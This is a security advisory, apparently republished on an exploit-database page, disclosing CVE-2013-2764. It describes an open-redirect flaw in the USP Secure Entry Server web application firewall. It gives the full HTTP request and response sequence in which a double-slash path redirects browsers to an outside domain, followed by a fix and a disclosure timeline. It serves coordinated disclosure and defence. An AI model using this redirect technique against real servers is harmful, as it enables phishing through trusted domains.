USP Secure Entry Server URL Redirection



EKU-ID: 3725 CVE: 2013-2764 OSVDB-ID:
Author: Alexandre Herzog Published: 2013-12-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product:  Secure Entry Server (SES)
# Vendor:   United Security Providers Ltd. 
# CSNC ID:  CSNC-2013-008
# CVD ID:   CVE-2013-2764
# Subject:  URL Redirection
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Alexandre Herzog <alexandre.herzog@csnc.ch>
# Date:     18.12.2013
#
#############################################################


Introduction:
-------------
The USP Secure Entry Server™ protects company networks and business 
transactions with internet access as a Web application firewall (WAF) 
and manages access to data and applications. 

The USP Secure Entry Server™ (SES) offers this protection by scanning 
data packages right down to the individual items of content, thus 
reliably safeguarding Web applications and all transactions carried out 
using them. The SES acts as an x-ray scanner for online transactions; it 
identifies data packages infected by viruses and only approves undamaged 
or cleaned data packages for use.[1] 

 
Technical Description
---------------------
By default, the USP Secure Entry Server is shipped with option 
HSP_AbsoluteRedirects set to off. The consequence is that after a 
successful cookie-check, the server replies with a relative instead of 
an absolute link. The server doesn't detect that relative URLs starting 
with double slash are in fact detected as a valid domain by browsers and 
not just a path on the actual server. 

1. Initial request
	GET //www.hacking-lab.com HTTP/1.1
	Host: [victim]
	User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	Connection: keep-alive

2. Server redirect to the cookie check procedure
	HTTP/1.1 302 Found
	Date: Wed, 03 Apr 2013 09:23:56 GMT
	Server: server
	Location: /cookie-check?trg=[long token]
	Set-Cookie: SCDID_S=[session id] path=/; Secure; HttpOnly
	Content-Length: 290
	Content-Type: text/html; charset=iso-8859-1
	Keep-Alive: timeout=65, max=100
	Connection: Keep-Alive

	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
	<html><head>
	<title>302 Found</title>
	</head><body>
	<h1>Found</h1>
	<p>The document has moved <a href="/cookie-check?trg=[long token]">here</a>.</p>
	</body></html>

3. As instructed, the browser accesses the cookie check page, proving it 
support cookies: 
	GET /cookie-check?trg=[long token] HTTP/1.1
	Host: [victim]
	User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	Cookie: SCDID_S=[session id]
	Connection: keep-alive

4. SES gets the expected request, and redirects the client to the 
initially requested page, but without stripping the double-slashes and 
without forcing a fully qualified domain name for the redirection: 
	HTTP/1.1 302 Found
	Date: Wed, 03 Apr 2013 09:23:56 GMT
	Server: server
	Location: //www.hacking-lab.com
	Content-Length: 205
	Content-Type: text/html; charset=iso-8859-1
	Keep-Alive: timeout=65, max=100
	Connection: Keep-Alive

	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
	<html><head>
	<title>302 Found</title>
	</head><body>
	<h1>Found</h1>
	<p>The document has moved <a href="//www.hacking-lab.com">here</a>.</p>
	</body></html>

5. The browser doesn't interpret a redirection to //www.hacking-lab.com 
as being http(s)://[victim]//www.hacking-lab.com, but in fact as a 
redirection to http(s)://www.hacking-lab.com. This behavior is RFC 
conform and is well implemented in most current browsers[2]. The client 
gets therefore redirected to another website by the SES. 


Workaround / Fix:
-----------------
Upgrade to the latest available version of SES or ensure option 
HSP_AbsoluteRedirects is set to on (as it's by default in the appliance 
but not the software version), as this would insert the FQDN in the 
response of the server. 


Timeline:
---------
2013-12-18:     Coordinated public disclosure date (after 3 months grace period)
2013-09-18:     Release of fixed SES Appliance Version 4.7.0 and HSP Software Version 4.5.0 
2013-04-26:     Initial vendor response
2013-04-23:     Initial formal vendor notification based on advisory and CVE-ID
2013-04-07:     Assigned CVE-2013-2764
2013-04-03:     Discovery of the same issue but with a different customer 
2012-09-10:     Discussed with a representative of the vendor, which did not consider it as a major issue but customer related
2012-09-06:     Discovery by Alexandre Herzog


References:
-----------
[1] http://www.united-security-providers.com/en/it-security-solutions/protection-for-web-applications/
[2] http://stackoverflow.com/questions/6785442/browser-support-for-urls-beginning-with-double-slash